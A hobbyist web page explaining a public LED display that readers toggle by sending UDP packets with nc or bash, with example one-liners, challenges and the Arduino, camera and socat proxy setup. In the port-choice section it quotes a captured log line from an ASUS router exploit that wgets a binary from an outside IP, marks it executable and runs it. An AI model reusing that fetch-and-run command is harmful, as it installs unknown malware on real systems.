LED Lights that you can control from the command line
While everyone jokes about turning off someone else's
lights over the Internet, you can actually do it. Welcome to
lights.climagic.com, where you and perhaps hundreds of others can use their
command line skills to control these lights in interesting ways. You can
also control the lights using the number keys on your keyboard on this
webpage or by touching/clicking the lights, but that's boring and slow. A
programming interface offers you a level of control that your hands can't
match and the command line makes it quick and easy to write a complex
program.
The 9 LED lights (numbered 1 to 9 from left to right) shown
in the live video stream are sitting on a shelf in my house and are
controlled by sending a UDP packet with a number to lights.climagic.com on
port 45444. Sending a number will flip the state of the LED between on and
off. There is only one set of lights and anyone can change the state of a
light at any moment so your results may be unpredictable if others are also
controlling the lights at the same time. It helps to shrink your browser
window a bit and bring up a small terminal next to it. Have fun!
Example commands
Here are some examples you can run yourself. Please do not
send packets more frequently than 5 per second. (sleep 0.2). If there are
too many others changing the lights, you might want to watch
this video which
demonstrates what each of the below commands will do.
-
Just type a number and press enter. Press [Ctrl-D] to finish.
nc -u lights.climagic.com 45444
-
Change state of light #1. If this doesn't work, try dropping the -w0 option.
nc -w0 -u lights.climagic.com 45444 <<<1
-
If you don't have the nc command and don't want to install it, bash can write to the network directly using a special path and a command like this one.
echo 1 > /dev/udp/lights.climagic.com/45444
-
Press a number to change without having to press return by limiting read to 1 character.
while read -s -n1 k ; do echo $k > /dev/udp/lights.climagic.com/45444 ; done
-
Change state of all the lights
nc -w0 -u lights.climagic.com 45444 <<<123456789
-
Change state of lights 2, 4, 6 and 8 at the same time.
nc -w0 -u lights.climagic.com 45444 <<<2468
-
Change state of lights 1 through 9 in sequence with 0.2 seconds between each change.
while true ; do for i in {1..9}; do nc -w0 -u lights.climagic.com 45444 <<<$i ; sleep 1; done ; done
-
Change state of a random light between 1 and 9
while true ; do n=$(($RANDOM % 9 + 1)); echo $n ; nc -w0 -u lights.climagic.com 45444 <<<$n ; sleep 1; done
-
Display the bits representing ASCII character 'Z' using the bZ shortcut
nc -w0 -u lights.climagic.com 45444 <<<CLEAR; nc -w0 -u lights.climagic.com 45444 <<<bZ
Challenges for the reader
You can post your solutions to these challenges below in the
comments section.
- Fanout from center
- KITT grill visual from Knight Rider
- Make your own ls -l command that will display the permissions bits of the file on this display
- Make a binary counter incrementing from 0 - 511
- Sweep the lights in from the right and stack them up until it fills up. (ie, 9, 98, 87, 76, 65, 54, 43, 32, 21, 9, 98,.... 32, 9, 98, ...., 43, 9,....)
- Make a non-standard binary clock (not enough leds to implement minute accuracy)
- Come up with your own functions and visuals
How this works
I utilized many technologies to make this work. The lights are
controlled using an
Arduino Uno hooked up
to two
74HC595 shift
registers, which allows 3 wires to control up to 16 I/O pins. The Arduino
is connected to the Internet using a
SeeedStudio
Ethernet Shield.. I wrote some arduino code to handle the UDP input and
process the data on the shift register to display the values. The USB camera is
running off a Raspberry Pi B and captures the mjpeg based video using the
software called
motion capturing at 5
frames per second and a jpeg quality level of 30. This format was choosen to
allow for real time streaming with minimum amount of delay and bandwidth
utilization. All the streaming services I tried like Youtube and Twitch had a
minimum of 15 seconds of delay, which wouldn't be fun for you.
The LED light setup on a shelf in my house
Due to the fact that ISPs suck in the United States and my home upstream bandwidth
is minimal and because I did not want to reveal my home IP to thousands of
people while doing this, I setup a couple of proxies out in the {cloud}(TM).
One for the video stream which uses a program called
mjpeg-relay, which splits
the current frame of the mjpeg to new viewers (Big thanks to the developer
Oliver Foyle for helping me out). The other proxy is the
socat program, which relays the
UDP packets that you send. Like this:
socat -d -d
UDP4-RECVFROM:45444,fork UDP4-SENDTO:my.home.address:45444 > socat.log 2>&1
Because I needed to protect this setup from potential
abuse, I upgraded to the latest 2.0 version of socat, which allows you to create a
packet pipeline for the output. This allowed me to implement a simple filter
and logging system without having to write my own UDP forwarding server.
socat UDP4-RECVFROM:45444,fork "EXEC:filterprogram | UDP4-SENDTO:my.home.address:45444"
Why port 45444?
Finding an unused port is challenging these days. There are
many ports long unused but still assigned to ancient protocols or
applications. Originally, I was using udp port 9999 but one day found this
entry in my log:
^L^U3fE^CM-^Jfsh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http://50.134.232.89:3344 ; chmod +x .nttpd ; ./.nttpd
At first I thought someone was already trying to attack
this system but I hadn't released it yet and only a few people knew about
it. Upon searching for some of the data above I found that it was
the
recently made ASUS router exploit that was running around the Internet
hitting port 9999 on random or sequencial IPs and I just happened to be
listening. So I found a more appropriate port. You can run ascii -x and
find out why I choose 45444. LED in little endian with the lead nibble cut
off.
Saving the Internets since 2015
By not auto playing the video on page load (you're welcome) and implemeting a
video timeout and refresh functionality, I have currently saved 2 terabytes and only had to serve 17 gigabytes of video. That's a 99% savings in bandwidth. See, this is a good thing.